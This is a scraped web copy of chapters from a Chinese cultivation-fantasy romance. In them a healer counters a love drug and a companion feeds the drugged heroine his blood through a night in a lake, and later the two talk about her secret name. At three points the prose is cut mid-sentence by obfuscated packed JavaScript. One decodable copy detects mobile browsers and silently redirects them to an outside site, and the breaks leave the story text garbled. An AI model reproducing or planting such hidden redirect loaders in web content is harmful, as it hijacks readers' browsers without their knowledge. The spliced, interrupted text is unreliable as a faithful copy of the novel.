他的同族早在这个间隙就已经被云修云和行愿联手清了下去,此时这两人正和云修泽站在一起,一起将他控住,让他无法反击。 转瞬间,败局已定。 云修泽的手缓慢的移到他的脖颈上,一寸寸的收紧,让圭许逐渐感到了窒息。 他缓缓说道。 “解药。” 事情成了这个样子,他也没有什么再坚持下去的必要。 于是圭许干脆放松了身体,任他们压着,态度十分诚实。 “没有。” 感受着喉间越来越紧的力道,威胁之意实在是再明显不过,圭许无奈,用嘶哑的气音说道。 “还没研究出来,不过那药并不伤她性命,疏解出来就是,硬挨反而恐怕要受些损伤。” 他顿了顿。 “我很欢迎来找我帮忙,我依然愿意成为她的伴侣。” 话还没说完,脸上就被云修泽狠狠打了一拳,他被打的歪过头,心中痛快了几分。 云修泽松了手,圭许躺在地上,还不算太狼狈的喘息着,视线中是几人离去的背影,他想再看一眼唐思月确认些什么,却根本看不到了。 唉,回去还得好好养伤。 圭许想。 云修泽几人在被宣布胜利后就迅速离开了这里,逃过了那些试探的视线,云修泽扶着明青,飞速往沁园赶去。 唐思月低声对行愿吩咐道。 “你先行一步,让下面的人准备一只大一些的浴桶、冷水、温歧七两、苦竹三两并丹黄三颗,快去。” 行愿点头,迅速离去。 唐思月已经查看过明青,云修泽皱着眉,在行进的间隙中问道。 “能解吗?” 唐思月保守道:“我尽量。” 她还需要观察明青后续的情况。 她又抽空看了下云修泽和云修云的伤势,云修泽不用太过担心,沁园自己养的医师就足以应付,就是云修云身上的阴气还需要费些功夫拔除。 到了沁园,她动作迅速的在云修云的肩膀上扎了几针,随后划开他的指尖,让伤口浸在了一盆清水中,又在里面加入了一些粉末状的东西,瞬间就让他感受到剧痛难忍。 他咬牙没叫出声来,听她解释。 “这些可以帮你压制拔除一部分,但治标不治本,想要彻底拔除麻烦的很,明青等不了了,你先忍忍,半个时辰后就可以拿出来了,等我安顿好明青再仔细帮你看。” 云修云疼的发出嘶嘶的抽气声,说不出话来,只能抬眼看唐思月点了点头。 唐思月觉得他像一只被搁置的狗狗,自己也委屈但是还是会乖巧的听从主人的命令,于是转身离开前,抽空摸了摸他的头发以示嘉奖。 云修云眨眨眼,莫名觉得疼痛减轻了些。 唐思月带着明青进了屋,剩下的三人就守在门口等待。 唐思月将明青扒得只剩下一层单薄的里衣,将她浸入冷水中,此时她已经失去了大部分的意识,整个人都任由唐思月摆弄。 她在水中加入了刚刚让人准备的药材,又添了许多灵草灵药,多数是带有镇邪祛热的,用来压制她体内的药性。 随后又取出骨针,十分仔细的在她露出水面的肩颈上一点点施为,根据她的反应再改变不同的手法。 一开始见效很快,几乎在十个呼吸间,明青就平静了下来,正当唐思月松了一口气,觉得有效的时候,她的呼吸又突然急促了起来,雪色的肌肤上潮红也愈演愈烈,竟然是药性得到加强的模样。 唐思月脸色一变,伸手去探浴桶里的水,原本冰凉的水变得滚烫无比。 门外的三人情绪还算稳定,云修云默默坐在那里忍痛,云修泽则干脆背靠着坐在了门口,行愿见他们两个神思不定,于是默默担负起了警惕的职责,尽管这里大概率是安全的,多年来养成的习惯也还是让他不会太过掉以轻心。 云修泽守在这里不愿意离开,就只好由医师来这里为他进行简单的诊治包扎。 三人谁都没有说话,只有云修云偶尔发出轻轻的痛呼声。 云修泽耳朵微微一动,听到了里面越来越近的脚步声,他站起身,看见唐思月推门而出。 还没等他们问什么,唐思月就雷厉风行的抓住了云修泽。 “快,给我放点血。” 她递来一只玉碗,云修泽二话没说抽剑在掌中一划,鲜血流入碗中,等有了半碗时,唐思月又急匆匆关门进去,留下院中的三人相对无言。 云修泽心中忧虑,以唐思月刚刚的表现来看,明青的药恐怕有些麻烦。 屋中又安静了一阵子,云修云的手也从水里拿了出来,正在云修泽暗暗想着要不要再去修理圭许一顿的时候,身后紧闭的门突然被打了开来。 唐思月抱着明青从里面走出来,明青身上被裹了一件厚厚的大氅,将她从头到脚裹得严严实实,只能看见露出的眉眼紧闭,脸色潮红。 唐思月虽然体弱,但用上灵力抱起另一个女子还是绰绰有余。 “都跟我来。” 她抱着明青快步向外走去,一边走一边跟他们解释道。 “明青体内的药性极强,需要借助外物散发出来,静水是不够用了,就算有老大的血镇压,也还是会和明青体内的药产生共鸣反应,情况只会越来越糟糕,我们需要流动的水或者足够多的静水。” “静夜湖。”云修泽低声说道。 唐思月:“对,我们去那里。” 静夜湖是沁园自己修的湖,上次唐思月遇到柳恒舜就是在那里,因为位置特殊,水温要比其他的湖水低上许多,正好适合明青。 几人来到湖边,唐思月给了行愿一把灵珠。 “你带着阿云去布聚灵阵,越快越好,给我留一支出去的通道,我会出去后自己补阵,布完你们就立刻离开,事情结束之前,不要靠近这里。” 两人迅速行动,唐思月示意云修泽背过身去,云修泽背对着她们,听到了大氅掉落和入水的声音。 他听到明青急促的呼吸声,背后的手指纠缠在一起,问。 “有什么需要我做的吗?” 唐思月将明青放入水中,让她靠着岸边,她此时还留有些神智,不至于让自己没入水中。 她在明青周围抛出一圈像是浮标的灵器,让药物灵气留存在她周围的同时,冷水还能够一直循环往来。 从他们相遇到决定一起上路之后,她就一直在探索这两人奇特的体质。 明青的血是复杂的毒,而云修泽的血则像是解百毒的药。 她曾经将两人的血放在一起,得出的结论是,云修泽的血可以暂时将毒压制,但想要完全解除还需要很多外物的帮助,就算如此,它的功效也已经远胜过了唐思月研制出的其他药物。 明青中的情药是圭许针对她的体质特别研制的,她刚才要了半碗云修泽的血,发现的确有用,宛如所有药物的药引一般,混在一起,是有奇效的。 可惜的是,情药的药性强烈,很快将它们吞噬,将明青带到静夜湖,一是为了冷水,二就是他的血。 唐思月认真的说道。 “我需要你待在这里,每逢半个时辰往水中掺入你的血,至少半碗的量,要是能让她直接喝下去更好,不过看她现在的情况应该也很难,整个过程的长短取决于她自身的情况,你能坚持住吗?” 云修泽缓缓吐出一口气,从玉佩中拿出一条用来蒙眼的黑布,伸手将它系在了自己的脑后。 他转过身,面向明青的方向。 “我没问题,还有什么要叮嘱的吗?” 他蒙住眼睛和央玉蒙住眼睛是截然不同的感觉,央玉那人,就算蒙住眼睛也会有邪气四溢的感觉,穿的再冰清玉洁,也有不少人在第一眼就认为他是个邪道修士。 云修泽蒙上,看上去倒像是一下子小了几岁,显得像是个正经冷肃的少年,让人忍不住想要逗弄一番。 此时,静夜湖周围的灵气陡然浓郁起来,看来是云修云和行愿的阵已经成型。 唐思月又查看了一下明青的状态。 “没有了,聚灵阵会最大程度的帮助你恢复,把握好血的用量,不要为了让她尽快恢复就一股脑的放很多血出去,你会撑不住的,在结束之前,我也不会靠近这里,你失血晕倒,我救不了你,明青也会出问题,记住了吗?” 云修泽一顿,随即就乖乖点了点头。 唐思月退了出去,不过片刻的功夫,周围原本还有一些动荡的灵力就彻底稳定了下来,云修泽知道这是他们都已经离开的信号。 云修泽盘膝坐在了明青身后,吸纳吐气,强行逼迫自己保持镇静,他实在是难以忽略她细微的吐气声和偶尔撩动的水声。 明青没有失去意识,但她现在所能留有的清醒全都用在和药性对抗上面了,虽然隐约知道发生了什么,但却也说不出话,控制着身体不去呻吟摸索就已经耗费了她所有的意志力。 她心中止不住的暗骂圭许,当她没脾气吗,居然用这种手段来影响她,就算为了赢,用什么样的手段都说不上过分,但这也太......太...... 唉,也罢,也许人与妖的不同就在于此了,在他们的观念里,应该是没有姑娘家清誉这一说的吧。 她感受到有什么温热的液体滴在她的脸颊、肩颈,又顺着滑入到了水中,不知是不是心理作用,这似乎让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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从前他就觉得她更适合鲛族,此时落入水中,清凌凌的水沾湿了她的长发和眼睫,要知道,她的眼尾本就微微上挑,有着凌厉的距离感,此时却消失殆尽,再加上额头淡蓝的额珠,在湖水反映的月光下,发出淡淡的光芒,衬得她只剩下了无边的惑人。 里衣也已经被浸湿,粘在身上,能看到她单薄的肩骨,简直就像一只刚刚出水的水妖,无论是微微红润的面颊、带有水珠的朱唇、隐约可见的舌尖,还是那双自然而然搭在他肩膀上的手,都致命而不自知,像是一株颓靡之花。 云修泽想辩解自己不是趁人之危,故意占她便宜,可是嗓音发紧,根本说不出话,不过片刻的功夫,她就像是寻到了什么安全之所,低头依偎进了他的怀中。 云修泽浑身上下都僵住了,背靠着岸边,为了防止她再次失去控制,落入水中,只能手心握着空拳,用手臂僵直的环绕着她。 云修泽动了动想去放血,怀中的明青就像是不愿他如意一般,突然动了起来。 她攀着云修泽的脖子,朱唇轻启,一路从他的锁骨磨蹭到了他的面颊。 就在她捧着云修泽的脸要去吻他的唇时,云修泽眼中闪过挣扎,微微扭头,让那个吻落在了唇角。 饶是如此,那特殊的感觉也还让他浑身一震,咽了口口水,红色不知何时爬上了他的耳朵,呼吸变得急促。 湖水声动,明青的动作越来越焦急,她的手不断徘徊在云修泽的水下,动来动去占尽了便宜,又好像无头苍蝇一般不得要领,似乎是在寻找从哪里才能将这碍事的布料扯开。 云修泽一边躲避她的索吻,一边还要忍受她的‘调情’,领口已经被她扒开,甚至偶尔还能感受到一些不属于他的柔软,一时间被逼的十分狼狈,苦不堪言。 他的呼吸不稳,在明青不间断的亲吻中断断续续的说道。 “你现在......只是被药物控制...了......明青...醒醒......醒......醒......” 一声又一声的呼唤,换来的是明青在他的脖子上用力留下的红痕。 云修泽神色崩溃,他今年方才及冠,还是个血气方刚的年轻人,就算再怎么逼迫自己保持清明,又怎么真的能做到坐怀不乱。 就在明青再一次捧着他的脸颊想要吻上来时,云修泽彻底崩盘,不过他还是岌岌可危的想起了自己的最后的底线。 他捂住了明青的嘴,神色还有些掩饰不住的羞赧,一副像是想要和心上人讨要承诺的模样,可脱口而出的话却在一瞬间让明青的眼中有了几丝清明。 “告诉我......你......真正的名字......” 明青的眼中似乎有理智与沉沦挣扎不休,良久,就在云修泽隐含着期盼的眼神即将暗下去的时候,她轻轻拨开了云修泽捂住她的手。 欺身上前,吻住了他。 呼吸彻底凌乱,两人口中炙热的气息和外面带有寒意的空气形成鲜明的对比,一个字从他们交叠缠绵的唇齿中溢出。 “......微。” 听到一个陌生的字眼,云修泽始终僵硬着握拳的手终于缓缓伸展,缓慢却用力的将她抱入了怀中,让两人的身体紧紧相贴,不再留有一丝缝隙。 他谁都没说过,谁都不知道,这是他最喜欢的拥抱方式,能让他感到无比的安心。 他的吻还带有些青涩,却依然皱着眉,从她那里夺走了主动权,让这个吻变得持久而急切。 在起伏不稳的吐息间,他一遍又一遍的呢喃着这个陌生的名字,她真正的名字。 “微。” 没错。 明青在混乱的思绪中扒出一丝清明。 你要记住。 我的名字。 54. 协济三十 明青神志的清醒只维持了那么短暂的几个瞬间,很快就再次陷入了意乱情迷。 云修泽感觉到两人周围的水温似乎已经不再那么冰凉。 这可算不上什么好兆头。 他在明青的‘围追堵截’下变得越来越难以自控,胸膛剧烈的起伏,只能尽可能的阻止明青不安分的手,将其圈在一个相对安全的地方。 可明青眼见着无法对他下手,竟然开始从自己入手。 在察觉到那仿若无物的里衣有彻底阵亡的趋势的时候,云修泽吓的险些将她再次扔回水里。 “姑奶奶啊......我的姑奶奶。” 云修泽闭着眼声音颤抖的念叨着,脸红成了煮熟的虾子,手伸入水里,速战速决的找到了她衣裳的系带,果断将其打成了死结,保证她无法再自己解开,然后就像是被这凉水烫到了双手一般迅速弹了起来。 明青被他这般严防死守,脸上露出了十分不满的神情,但也拿他没什么办法,只能泄愤一般,变本加厉的在他已经苦不堪言的脖子上继续作威作福。 云修泽仰头喘息,艰难的伸出一只手,颤抖着往背后的岸上摸去,一顿不得章法的乱摸之后,才终于摸到了刚刚在情急之下被自己不知道扔到哪里的黑布。 万幸就在他现在能够到的地方...... 云修泽喉结滚动,说实话,现在再继续蒙上就有欲盖弥彰之嫌,毕竟该看的不该看的也差不多都看完了...... !!!! 想到这里,云修泽羞的恨不得挖个洞钻进去。 他动作迅速的再次蒙上了自己的眼睛,就算是自欺欺人,欲盖弥彰又如何,再怎么说,这样多多少少也是对他的自制力有点帮助的,天知道他现在在经受的究竟是怎样磨人的考验啊! 就在他双手抬起的时候,明青再次抓住了这个空隙开始进攻。 云修泽欲哭无泪的同时只能继续跟她‘斗智斗勇’,想给她放点儿血都找不到合适的空隙。 嗯......等等...... 在明青再一次吻过来的时候,云修泽不再像刚才一样只被动的承受,反而急切的迎了上去。 明青对他热切的态度感到一丝满意,他们已经缠绵亲昵了很长时间,这么长的时间里,云修泽只有在最开始主动过,剩下的时间里全都是在被动的接受,这种事情,还是要两个人都动起来才得趣...... 明青微眯着眼吻他,眼中的情欲满的几乎要溢出来,其实若要是换个人在这里,她恐怕还不会失控到如此地步,但这是云修泽,所以潜意识里就已经不再抵抗。 唇舌交缠间,她从云修泽的口中尝到了有着铁锈味道的鲜血,似乎还有一丝微甜。 身体本能的就知道那是好东西,所以促使她变得更加贪婪。 她捧着云修泽的脸,低头缠绵间,用的都是要将其吞吃入腹的架势。 云修泽一点一点的给她喂着血,心中总算是放松了一些,只要配合明青亲吻,她就能乖乖的不再动手动脚,只专心在这一件事上。 可爱,也方便喂血......当然,亲吻也很舒服...... 这里很大,很空,也很安静,此时回荡在这里的,就只有两人细密的啜吻声,偶尔还会有一些令人面红耳赤的轻喘。 可惜身处漩涡中心的两人,没有一人能分出精力来注意到这暧昧过头的氛围...... 一直到天光大亮。 明青在明媚的日光中醒来,迷茫了片刻后,撑着身子想要坐起,却带起了一阵水声,低头就看见了被自己搅出波澜的湖面。 思绪在短时间内回涌,让她想起了自己为什么会身在此处。 明青不着痕迹的松了一口气,看来药性是解了。 她想要站起身来,不知道撑着哪儿的手稍一用力,才惊觉手下的触感颇为不同,柔软中还带着一丝温热。 明青扭头一看,整个人都愣在了原地。 她刚刚虽然想起了自己是怎么中的药,又为什么会在这里,但却没能回忆起具体的解药过程,所以现在直面的场景对她而言实在是有很强大的冲击力。 云修泽在她身下,本来梳的好好的长发已经被扯乱浸湿,脸上蒙着和他肤色形成鲜明对比的黑布,衣衫是敞开的,无论是外衣里衣,都已经被扯开,露出了他结实的胸腹。 平日里总是轻巧勾起的嘴唇,此时微微张着,好像还有些红肿。 最重要的是,他露出来的脖子、锁骨,甚至是腰腹,都有不少一看就出于她手的痕迹,就连他的耳尖上都赫然印着一个牙印。 而明青整个人都是在他怀中的,若她自己是个男子,莫说旁人来了看着像什么,就连她自己估计都得怀疑一下是不是真的对他做了什么。 明青在凌乱中想起了昨天那兵荒马乱的一夜,常年冰雪不化的脸此时已经红的可以滴血,她的嘴唇颤了颤,眼睛已经被自己的所作所为震惊到失去了焦点。 她的手也僵在半空中,不知是该去摇摇云修泽,还是该收拾好自己,先跑再说。 一番天人交战后,终于,那点残留的良心战胜了那不想面对尴尬的窘迫。 可她的手刚一搭上云修泽,就发现了他异于平日的体温。 太凉了。 明青迅速收拢脸上的一系列神色,刚刚她的眼中被那大片大片的红色痕迹占据,没能及时察觉他的脸色已经出现了不正常的苍白,安静的躺在那里,在红与黑的映衬下,显得格外脆弱。 明青从未见过他这个样子,要是平日里,自己刚刚那些动作,就足以让他察觉醒来,现下一动不动,却还能维持两人不沉入水底,应该是陷入了半昏迷的状态。 她皱着眉靠近他,要去查看他的状况。 可谁知在这种情况下,云修泽还是察觉到了她的动作,似乎是以为她还需要鲜血,所以微微一动,就又再次吻了上来。 明青猝不及防的被他渡了一口鲜血进来,瞪大了双眼,一下子没能反应过来。 但她很快试图躲避,她不清楚云修泽的身体状况,不敢上手推他,想要仰头躲开,他又将手搭在她的背上,没用多少力气,又或者已经用不出来多少力气了。 这么一个简单的动作,就成功控住了明青。 在双唇短暂分开的间隙里,他用有些沙哑的嗓音轻声说道。 “乖,别动。” 他追着吻上来,明青动作一顿,然后认命的和他接着亲了起来。 这个吻不再像昨夜里那样充满激情,反而是温情更占上风,安静的,只有不知是两人谁的心跳声在剧烈的鼓动...... 明青垂着的眼眸里有些复杂,在几乎失去意识的情况下,还能像本能一样给她喂血,这样的动作,在昨夜究竟重复了多少次? 静夜湖周围的灵气已经不再那么浓郁,用来布阵的灵珠基本耗完,云修泽也在这一吻后彻底失去了意识。 明青带着他上了岸,掂量了一□□内所剩的灵力,估计也就只够将两人烘干,不过也算够用。 她捡起岸边的大氅将自己围住,又红着耳朵把云修泽身上被自己弄乱的衣裳整理好,才架着他慢慢向外走去。 走了没多远,就看到了迎面而来的三人,估计是聚灵阵被耗完,所以要来查探情况,正巧碰上他们出来。 云修云连忙迎上来将云修泽接了过去,在唐思月给明青把脉的时候,明青将云修泽的情况大致说了一下。 唐思月冷笑。 “昨夜叮嘱过他注意自己的情况,竟然还这么冒进,看来是得让他吃点儿苦头了。” 看着唐思月阴恻恻的脸,明青那想要将责任揽在自己身上的话在舌尖转了一圈又十分顺畅的重新被咽回了肚子里。 看着云修云背上还不知苦难即将来临的云修泽,还是决定在心中默默为他祈祷。 “好了,药性已经彻底解了,也没留下什么隐忧,等下再打坐调息一下就可以彻底恢复了。” 明青颔首。 唐思月吐了一口气,昨夜忙完明青她就去忙云修云了,拔除那阴气实在是麻烦的很,她到现在也没能睡上一个时辰,心累。 “好了,你去调息吧,我再去看看他的状况。” 云修云背着云修泽往唐思月的院子里走,行愿还站在唐思月身后。 明青点头答应,脚下未动,眼神却随着云修泽的背影移动。 唐思月双眉微抬,眼神在云修泽那布满红痕的脖子上转了一圈,随即神色暧昧对明青说道。 “你放心,保准还你一个完整的老大,一个牙印儿都少不了。” 明青的脸一下就红了,右手在平日里放剑的地方虚握了一下,像是一个捏紧剑柄的动作。 唐思月坏心眼的调侃完,然后就动作顺畅的往行愿身后一躲,行愿夹在两人中间,眼神透露着无奈。 明青忍住挖坑逃走的欲望,艰难问道。 “......时辰......什么时候?” 唐思月笑的眯眯眼。 “什么时候呢.. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他被扶进了那桶黑色的药液里,身上立马就如同细密的针扎一般疼了起来,很快又再次体力不支晕了过去。 再次醒来时,他就已经回到了自己的院子。 时间已经来到了晚上,屋内没有点亮烛火,只有柔和的月光透过窗户将屋内隐约照亮。 头上的床幔是熟悉的模样,他微微愣了会儿神,才支着身子坐了起来。 他这一动,屋内就有人跟着动了起来。 明青端着一只蜡烛掀开床纱,将它们绑好后,又将那只蜡烛放在了他的床头。 她在床边坐下,问道。 “身体怎么样了?” 云修泽感受了一下,点头道。 “已经没事了,你呢?” 明青:“我也没事。” 两人简单的问候了一下彼此的身体,随即就开始相顾无言,连初识都未曾有过的尴尬气氛在此刻的两人之间蔓延。 “你......” “你......” 两人同时开口,云修泽清了清嗓子。 “你先说。” 明青停了一下,才轻轻开口道。 “多谢你昨晚帮我。” 她一句话,就将昨晚的一切归到了同伴之间的互相帮助上面。 云修泽其实早有预料,但真的听她说出来,心中还是忍不住疼了一下,但随即就笑道。 “这有什么,应该的。” 明青沉默的和他对视,将他的伪装看的清楚,她看的云修泽的笑脸都要维持不住,变得岌岌可危。 很多很多年后,他们的孩子问她。 ‘爹爹和娘亲是怎样了解对方的呢?’ 她说。 ‘一次又一次的对视,语言也许存在欺骗,但眼睛不会。’ 而此时的云修泽也只是将脸侧到一边,躲开了她那似乎能将他看穿的眼睛。 他岔开话题。 “咳,你叫微,全名呢?明微吗?” 明青摇头:“全名暂且还不能告诉你。” “明也是假的?” 明青露出一个浅笑。 “也可以是真的。” 又是一阵无言,云修泽默默想到。 好吧,就算她不说,总有一天,他也要亲手揭开那层面纱,他要找到根源,今日的话,听一次就够了。 55. 协济三十一 云修泽闭口不言,周身却有着说不出来的失意。 他很少会在人前显露出脆弱的一面,明青不由得心中一软。 她端来一碗热粥。 “你已经一个日夜没吃东西了,思月说你失血过多,身体有亏损,不宜大肆进补,所以我给你带了易克化的药粥,多少喝点吧。” 云修泽抬眼看她,她的眉眼带着少见的温和,仿佛是在哄他。 面对他的注视,明青却眼睫一颤,下意识移开了视线。 她谁都没说过,其实对于云修泽的目光,她偶尔会心有怯意,他的眼睛仿佛有一种特殊的魔力,虽然面容俊朗,但更多的人见到他,都不会第一时间被他的面容吸引,反而会把注意力情不自禁的放在他的眼睛上。 明青也是如此,从前她不在乎,总觉得左右不过同路一段时日,那双眼睛混着的是真情还是假意尽皆与她无关。 但随着时间的推移和各种事情的发生,这双眼睛似乎也不再复杂,反而过于简单了,简单直接,反而令她难以招架。 偶尔,云修泽看着她时,会给她一种他的世界是以她为中心构建的错觉。 她为此窃喜,为此心动,也为此警觉。 看着云修泽坐在床上乖乖喝粥,明青的思绪逐渐飘远,忽然她的眼神变了变,语气也带了些探究,慢慢问道。 “你是怎么知道明青不是我的真名的?又是从什么时候开始疑心的?” 云修泽拿着勺子的手一顿,随即就像没听到一般,继续若无其事的喝粥。 明青:“......你诈我?” 她有些不可置信,没想到云修泽会干这种事,也没想到云修泽还知道挑她神智不清的时候,更没想到自己竟然就这么被他诈了出来。 云修泽放下勺子,勺柄和瓷碗碰撞发出一声清脆的声音,他抬头,表情无辜,甚至露出了一个十分温柔的笑容,仿佛这缺德事不是他干的一般。 明青心中憋着一口气,上不来也下不去,说话又不知该说些什么,不说又觉得气闷。 是她大意,相处久了,就将这厮的狐狸本性抛到了一边,真信了他那套什么君子端方、如玉如竹。 她的手抬抬放放,最终气不过扯向了云修泽的脸颊。 云修泽见她眼中愤愤,嘴也抿着的对他动手动脚,根本不反抗,就笑容温和的任由她扯,等她出够了气才将她的手拿下来,也不还回去,就攥在手里,明青挣扎了两下没挣脱,就由他去了。 云修泽等她重新冷静下来,才与她娓娓道来。 “其实最开始是在周天山,那时我发现你对于明青这两个字,反应偶尔会有些迟钝,只不过太细微了,我也就没太放在心上。” 明青表情微微一动,原来那么早就......她之前不是在家中就是在周天山,以前外出历练虽然也用这个名字,但总归用的少,这才会有破绽,不过这已经小到了可以忽略不计,没想到他竟然注意到了。 “之后彻底有了疑心是在第一次见到你姑姑时。” 明青不解:“可我与姑姑同姓明。”就连师傅也是叫她明儿,她不知是哪里有了破绽。 云修泽一笑:“所以我才问你明是否为真。” 明青无奈:“......你又?” 云修泽的狐狸尾巴摇了摇,笑眯眯地说:“兵不厌诈,兵不厌诈。” 他接着说。 “你的身份看似完美无缺,生在有权势的家族,是家中宠爱的幺女,姑姑是第一商会通神阁的高层,自己又拜在了神秘的司命门下,外出是为寻找失踪的兄长,这一切都很合理。” 明青不语,等他接着说下去。 云修泽看了眼明青。 “就是太完美了。” 明青:“可这些都是真的。” “是啊,这些都是真的。”云修泽轻叹。 “那你就不该像是从来不存在一样,一点痕迹都不留下。” 明青双眉微蹙,不解其意。 “通神阁不是修士建立经营,纵使阁中招募任用不少修士好手,但权力中心始终是普通商人,或者至少说是有权贵暗中扶持的富商,你姑姑是其中之一,就证明你不是来自像我们这种世家,而是权贵子女,我虽不知你为何打破了常规来修仙习法,还拜到了央玉前辈的门下,但可以肯定的是,你的家族没有因此将你除名。” 云修泽叹了口气,目光温和,像是在叹她的大意。 “凡人氏族,无论嫡出庶出,都会为子女登名造册,哪怕极少现于人前,也都至少会让外人知晓子女的存在,名字自然也不会保密,有心者打听还是能打听到的,凡人贵族几乎全在计都之内,我托人打探,却根本没你这一号人,那自然就是假名了,不过我也不敢将话说的那么满,所以才有此一诈。” 明青没有搭话,这次却不是性情使然,而是不知该说什么了,这件事的确是她大意,不过当时也没想到真的有人会如此敏锐的察觉到她的身份问题并去追查...... 其实到了这个地步,云修泽手中掌握的线索已经够多了,只要他再往深处查上一查,就真的有可能能将她的身份查出来。 明青张口,神色少见的有些茫然。 “是我......你别再......” 她的话没说完,云修泽却懂了她的未尽之意,看着明青的神色,他的眼神有了动摇之意,只不过片刻,他就放弃了自己刚才才下的要追查到底的决定,为她妥协,低语道。 “......好...我不查了,你莫忧心,我会等你,等你亲口告诉我。” 明青后知后觉地松了一口气,动了动被他握在手心的手,反握了回去,两人十指相扣,没有依偎之态,却也流转着亲昵的气息。 而被两人自然而然忽略的三人正待在一处。 唐思月神思乏累,在内阁小憩,说一会儿还想吃点东西,让行愿叫她。 天色已晚,以她的身体其实不宜再吃东西,云修云本想劝劝她,却没想行愿竟然一口应了下来,只叫她安心去睡。 收到云修云不解的目光,行愿顿了下,解释道。 “她是医师,心中有数,偶尔一次无妨。” 云修云点头,接受了这个说法。 两人怕吵到唐思月休息,没有切磋,入定修炼又怕误了时辰,要说聊天,纵使云修云有心,行愿也是个锯了嘴的葫芦,根本聊不起来,所以两人干脆摆了一盘棋,手谈起来。 云修云本来心中还有些发怵,他不精于此道,从小到大谁都没赢过,长辈说得好听点,说他心思单纯直率,是个好孩子,云修泽就没那么善良了,简直是全方位无死角的嘲笑他,偏他越挫越勇,直到将云修泽逼得也有些不忍心了,偶尔夸他虽无谋却悍勇才肯作罢,虽说这些都是他自找的,但也还是给他留下了一个小小的心里阴影。 他怀着忐忑的心情跟行愿下棋,不过半盏茶的工夫,就惊奇的发现行愿竟然也是直来直去的路数,他在云修云心中神秘莫测的形象小小的碎了个角,不过随即他就乐了起来,两人半斤对八两,一时间竟是下的有来有回。 “行大哥。”云修云趁他落子时喊他。 “嗯?” “你知道我们下轮对手是谁吗?” 行愿一边示意该他落子了,一边说道。 “是万春夏。” 云修云手一抖,面露惊恐。 “伯言哥?” 不错,正是柳伯言——柳恒舜。 这日,云修泽来找他,他下榻在方若阁,每日都是好不快活。 云修泽来时,他正懒散的品酒,左右坐着为他斟酒摇扇的美人,只不过都与他隔着些距离,没有贴上去,看她们的眼神倒像是很想靠上去的样子,只不过柳恒舜应该是不会让她们近身。 在他面前还有六个舞姿翩翩、各有特色的舞姬,合着曲子,每一个都是尽了浑身解数,争取着眼前公子的目光。 柳恒舜含笑欣赏,有一搭没一搭的喝着酒,突然又倒了一杯,头也不回的反手一甩,那杯酒就顺着他的力道被抛了出去。 他低笑道:“来都来了,干嘛躲着,出来与我同乐岂不快活。” 众位美人还不知发生了什么,就听屋内突然传来一道陌生的男音,他说。 “丢歪了,醉糊涂了不成?” 那杯酒根本不是朝他的方位来的,而是偏了一些,云修泽用禇闲剑鞘的尾端接住,没人看清他是如何动作的,只觉得眼前一晃,那杯酒就一滴未洒的到了他的手中。 柳恒舜同样没看清,他的笑容多了些深意。 “哪里的话,自然是故意的,为兄这是相信你能接住啊。” 云修泽到他旁边坐下,他就示意让人全都退下。 几位美人不无可惜的看了两人几眼,来人有着不输柳恒舜的俊俏,两人皆是人中龙凤,她们本以为还能继续待一会儿,却没想到是让她们退下,她们虽然身份低微,却也知道分寸,尽管再恋恋不舍,也都只能怀抱着遗憾离开。 柳恒舜装模做样的叹道。 “唉,你这一来,我的美人就只能离开,欠我的啊,给我补回来。” 云修泽不理他。 “姑父让你来干什么?” “就是历练。” 云修泽斜他一眼。 “历练到魁首?” 柳恒舜笑开:“不是吧,几年没见,你竟然对自己没信心到了这个地步?混得好惨啊弟弟哈哈哈!” 云修泽对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170338|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他十分免疫,根本不为他所动。 “输赢赛场上再说,你要知道,得了魁首就是得了地图,那东西可不是好拿的,成为众矢之的对你有什么好处吗?” 柳恒舜笑够了,又恢复了那懒散模样。 “对你有好处?” 云修泽定眼看他。 “你知道的,这是任务。” “没有私情?” 云修泽没说话,柳恒舜就明白了,一副暧昧神色。 云修泽直觉他没什么好话,提前制止了他,将事情拐到正事上来,低声说道。 “我是在担心你,伯言,你到底想做什么?” 他这个表兄,多情却不滥情,只是有时过于认死理,反而会伤及自身,多年前,他为一位美人与人起了冲突。 说为美人其实也不准确,其实是为他认为对的事,当时他孤身一人,对面却人多势众,就算气不过,也应先行离开再做打算才是,可他偏不,等到家里人找到他时,对面虽然全都被他斩于枪下,但他自己也几乎只剩了一口气,柳父震怒,这才将其禁足。 以云修泽对他姑父的了解,就算会让他来历练,也绝对会吩咐他不要过于出风头,隐忍蛰伏、藏在暗处、伺机而动才符合他们家一贯的家风,而他现在显然已经与这几个词背道而驰。 柳恒舜终于不笑了,露出了无趣的神情,侧头喝酒。 “没什么,只不过有点想见见镜双子罢了,都说他们姿容绝世,莫说异性,同性也有不少为其倾倒,无人可与其比拟,说的天上有地下无的,我好奇美人,自然想见见,没有画像,那就去见真人。” 云修泽拳头紧了,忍住眉头的跳动,若说他是因为这种不成样子的缘由就要去参与这么危险的争夺,别说姑父,他都想按着他打一顿。 他正想开口说他,就突然看到了他的眼神,云修泽一愣,要脱口而出的话就这么咽了下去。 “......你......你?” 柳恒舜看着他,眉眼低垂,笑容有些苦涩,却不减他的魅力,反而让人心生怜惜之情。 云修泽有些震惊。 “不过几面之缘......你为了什么啊?” 